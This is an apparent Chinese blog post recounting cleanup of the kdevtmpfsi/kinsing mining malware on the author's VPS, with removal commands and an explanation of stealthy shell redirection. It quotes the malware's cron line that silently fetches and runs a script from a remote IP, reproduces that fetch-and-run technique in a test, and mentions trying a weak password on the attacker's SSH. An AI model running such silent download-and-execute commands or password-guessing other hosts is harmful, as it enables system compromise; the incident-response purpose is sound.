(虛假的應急響應)記一次我雲伺服器中了挖礦病毒kdevtmpfsi的經歷
1、話說在我10.16號搭建solr復現CVE-2020-13957的時候,為了圖省事直接在我的vps本地搭建了一下。
2、今天登陸vps發現,臥槽怎麼100%佔用,top一下。
好傢伙,這是個啥。
3、我一搜發現是個挖礦病毒。趕緊搜一下怎麼解決。
刪除守護程序
ps -aux | grep kinsing
刪除原程序
ps -aux | grep kdevtmpfsi
刪除掉相關檔案
cd /tmp
rm -rf kdevtmpfsi
rm -rf /var/tmp/kinsing
最後自己可以再檢查一下是否還有kdevtmpfsi的相關檔案,有的話就繼續刪除
find / -name kdevtmpfsi
find / -name kinsing
4、我看了一下計劃任務,果然。趕緊加個#註釋掉。
5、好小子,讓我看看這是哪的IP。
讓我康康開了什麼埠
只有22埠可以弱口令一下,123456
6、話說他是在80埠下載的s.sh檔案,為啥沒開80呢,難道是定時開啟關閉?
7、此時我想找一下s.sh檔案寫了什麼內容。發現並不能找到。這裡就有幾個知識點。
wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1
-q --quiet安靜模式(無資訊輸出)
-O --output-document=FILE將文件寫入FILE
> /dev/null
/dev/null代表linux的空裝置檔案,所有往這個檔案裡面寫入的內容都會丟失,俗稱“黑洞”。那麼執行了>/dev/null之後,標準輸出就會不再存在,沒有任何地方能夠找到輸出的內容。
2>&1
這條命令用到了重定向繫結,採用&可以將兩個輸出繫結在一起。這條命令的作用是錯誤輸出將和標準輸出同用一個檔案描述符,通俗說就是錯誤輸出將會和標準輸出輸出到同一個地方。
linux在執行shell命令之前,就會確定好所有的輸入輸出位置,並且從左到右依次執行重定向的命令,所以>/dev/null 2>&1的作用就是讓標準輸出重定向到/dev/null中(丟棄標準輸出),然後錯誤輸出由於重用了標準輸出的描述符,所以錯誤輸出也被定向到了/dev/null中,錯誤輸出同樣也被丟棄了。執行了這條命令之後,該條shell命令將不會輸出任何資訊到控制檯,也不會有任何資訊輸出到檔案中。
8、簡單測試一下。
攻擊伺服器下放1.sh檔案。執行此檔案會先輸出ok,然後訪問攻擊機的1888埠。
靶機執行
wget -q -O - http://ip:port/1.sh | sh > /dev/null 2>&1
收到請求,sh檔案中的命令實際上已經執行。但是沒有輸出ok,也沒有1.sh檔案,